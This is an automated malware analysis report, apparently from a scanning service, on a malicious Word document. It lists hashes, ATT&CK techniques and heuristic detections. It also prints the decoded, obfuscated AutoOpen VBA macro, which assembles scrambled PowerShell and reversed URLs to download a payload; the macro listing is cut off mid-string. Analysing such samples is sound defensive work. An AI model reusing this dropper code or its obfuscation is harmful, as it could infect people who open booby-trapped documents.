Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3927f8d5492927df…

MALICIOUS

Office (OLE)

150.5 KB Created: 2018-02-06 07:19:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 1cbed824b17b5570adea77489079aee5 SHA-1: dd6490201980336b9d9c99da7de266d7c6cc4bfd SHA-256: 3927f8d5492927df58b6ea3a97197592cb9ce4ef9fc98f5e93952805d6ebbdab
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within its VBA macros. The AutoOpen macro is present and configured to execute, suggesting an immediate malicious action upon opening. ClamAV detections for 'Img.Dropper.PhishingLure-6443153-0' and 'Doc.Trojan.Obfuscated-6443078-0' further confirm its malicious nature, likely as a dropper for further stages.

Heuristics 6

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 45820 bytes
SHA-256: ae66d8eec9fbe1d85a0a071aaa90a697aa547320661881e5b0215030870b1563
Detection
ClamAV: Doc.Trojan.Obfuscated-6443078-0
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "FUODbqzEK"
Sub AutoOpen()
On Error Resume Next
fMiQCQAtM = wMsaZiTj / ChrW(85) + 886390 / 7475285 * mvHYoNub / Fix(buSbGNWMtlKPAu) / 1347598 - EcbvttAwLsQa
sNCGRPjEu = UMIHnTcum / ChrW(85) + 214419 / 79820 * klSfDhtVQNwvT / Fix(jDzkLCrnIPn) / 7459201 - hURGPaF
dQomLBKYA = QMnIjYwB / ChrW(85) + 8073739 / 9504146 * zdDsRbLBwGjVOC / Fix(PLZJsSmAz) / 5205388 - wzvUFZcJfnktua
wXBAjqYFR = kbjFdKcE / ChrW(85) + 3273343 / 3374842 * OFiBHsFWiiR / Fix(jtulAPkasfn) / 6886135 - tXfVLjccwkS
Application.Run "nEnkhwKtlDq", sOQRRHSjYcX
XzbwTjndS = wLjZcojqkiSuXN / ChrW(85) + 3958838 / 5033673 * TwpCmIc / Fix(AnlHIsJQh) / 9322694 - wwirvmMC
AdcOdsiTf = tKCGLbAvibp / ChrW(85) + 1703170 / 5660425 * RIdEkGtQaGbkY / Fix(HOaZdnomJp) / 7142821 - rADkNrzm
wVPdiYkcj = faDanTBPiqBfwo / ChrW(85) + 3806193 / 5671135 * sNqsjlldm / Fix(zqFCLCMKKDQNji) / 9543877 - JlRXaJFJ
sPsEvoSzB = EZZnpcliIZ / ChrW(85) + 9815490 / 5987055 * HuXbzLOZnlw / Fix(wJIOWlTL) / 3057331 - YnVwplwAfJN
End Sub
Function sOQRRHSjYcX()
On Error Resume Next
zlJjd = ("J6qqfRXuMimN7Ijdp'+'tth?3PA+3PA/3PA+3PAEYUN/m3PA+3PAoc.3PA'+'+3PAgnire3PA+3PAta3PA+3PAc-ss3PA+3PAib3PA+3PAm3PA+3P'+'Ai//:pt3PA+3PAth  bD0 3'+'PA+3PA= X3PAPYz9ai8t")
OdnRuLd = SIIjGJKjmjjmi / ChrW(85) + 4930299 / 8150090 * jCkzbSbfnnQt / Fix(ODjdwKszhpblB) / 1921406 - piSSuNdhukQz
tAkAhQbp = dvTsRnXfCIj / ChrW(85) + 2855602 / 9572955 * zMINZIqpEUzw / Fix(lWlthKMUlWj) / 3978080 - mFmajEzdd
YFCIbhGvqPq = Mid(zlJjd, 17, 138)
IFwnbdLzk = ("FCk9pHwatPA}}{hcta3PA+3PAc3PA+3PA};kaer3PA+3PAb;)CDSBwZ()b3PA+3PAD0metI3'+'PA+3PA-eb3PA+3PAD0+b3PA+3PAD0k49OhjSmO8zwSFm3j")
DVaBMPLDw = nBGAvWKhAL / ChrW(85) + 2656694 / 2927824 * NdfUEkNMBRF / Fix(IRsKkPiVQlr) / 1022813 - pjTEtposVl
UiqQqMl = LzSwfMljAVnER / ChrW(85) + 4462169 / 3101518 * iuOcmawOEuIIcR / Fix(nfzzkzmpEzHE) / 76235 - cBjdtJw
YiCbSwvWdu = Mid(IFwnbdLzk, 10, 96)
azASbZYbwf = ("IoT7HCwqpRLuQLi4IVVHaR]51+[CHaR]80+[CHaR]65),[STRiNG][CHaR]39).repLacE(([CHaR]54+[CHaR]105+[CHaR]120),[STRiNG][CHaR]36)) LCMdTJ")
wClvXnc = DjIzuRu / ChrW(85) + 9303429 / 6359928 * PDsQrczYbzS / Fix(YKwFzzJ) / 1231112 - zhIYJShoqsk
cpuiWZcN = SzjBiNYYbuSkA / ChrW(85) + 2200999 / 9699821 * pTvnavQ / Fix(kriKQkkEiO) / 1033221 - PETmliEF
kVOIHGus = Mid(azASbZYbwf, 20, 102)
VFiXIJoSX = ("H1rLK85jSGilCb3PA+3PAeW3PA+3PA.'+'3PA+3PAte3PA+3PAN.3PA+3PAmetsyCDwb8bqbHmcD1pBIk")
XGAoZcbvEF = NvBVmriuNWo / ChrW(85) + 9071726 / 4165386 * WEEUtXXGwGRm / Fix(GjwUAfSdPE) / 8229495 - tHqXrSpiBIB
iojAM = LOwCHwvEzTbO / ChrW(85) + 3013049 / 299737 * PDDGzNoAQhiFn / Fix(IXwiPJmjQWQ) / 1757656 - jZjbHpfZazBC
HSzCCwCNQ = Mid(VFiXIJoSX, 11, 54)
OlWzSuL = ("YTFTbD03PA+3PA+b3'+'PA+3PAD0'+'3PA+3PAovnIbD0(3PA+3PA&3PA+3PA;'+')CD3PA+3PvpDp0HVfvGEN6PBvmQOiTo1jqKZZLV")
dWJjo = qoRLMtPnzOw / ChrW(85) + 5698508 / 164170 * KXjHFFcmriT / Fix(SSzjNUSdLtHlQ) / 148461 - lwjBtzhiGW
wbjmDikjKHK = BsCDwirWbwpS / ChrW(85) + 319011 / 5526214 * XQQPuqFi / Fix(nKjZpkoqJbSaa) / 1455032 - YttZavffYicRNr
dMlviQDEz = Mid(OlWzSuL, 5, 70)
RjHGiH = ("6hDFtGQXMc6bhGH87VKWamJPA+3PAd3PA+OzwwsW")
lvKrafSFPK = tBazQCPI / ChrW(85) + 1193536 / 8783408 * TXizasoVhQJ / Fix(Zkzpwkatu) / 6625554 - jwHjFNzj
bDQQhN = dBtKjzw / ChrW(85) + 2395841 / 5063549 * zskhBNTMRXf / Fix(fkNBATJjHhhEqX) / 8175415 - GBoOTSkSwQFW
RztVPVm = Mid(RjHGiH, 24, 11)
EsFcVElW = ("vJXj3PA+3PA0ebD0+b3PA+3PAD03PA+3PAnbD0(& = d3PA+3PAs3PA+3PAadasnBw3P'+'A+3PAZ3wiuo8CwHNBLVkRDmV0SYCNDb1N4l")
fofiC = ZbzDuSdHz / ChrW(85) + 1996354 / 1691900 * bMPQtNQ / Fix(zfipshKXGEOfn) / 7898174 - mntMjrYP
MirJC = YmwsvuikDSQuz / ChrW(85) + 1938276 / 2116591 * IFAswdOm / Fix(dczBkzb) / 2959738 - QFlSbMVdcVYQp
kBMqEN = Mid(EsFcVElW, 5, 74)
qZiUBGJCoz = ("ZPA+3PAv3PA+3PAresd3PA+3PAa//3PA+3PA:ptth?/EWl3PA+3PATN/moc.ai3'+'PA+3PAde3PA+3PAmkca3PA+3PAjj.w3PA+3PAww/3PA+3P
... (truncated)

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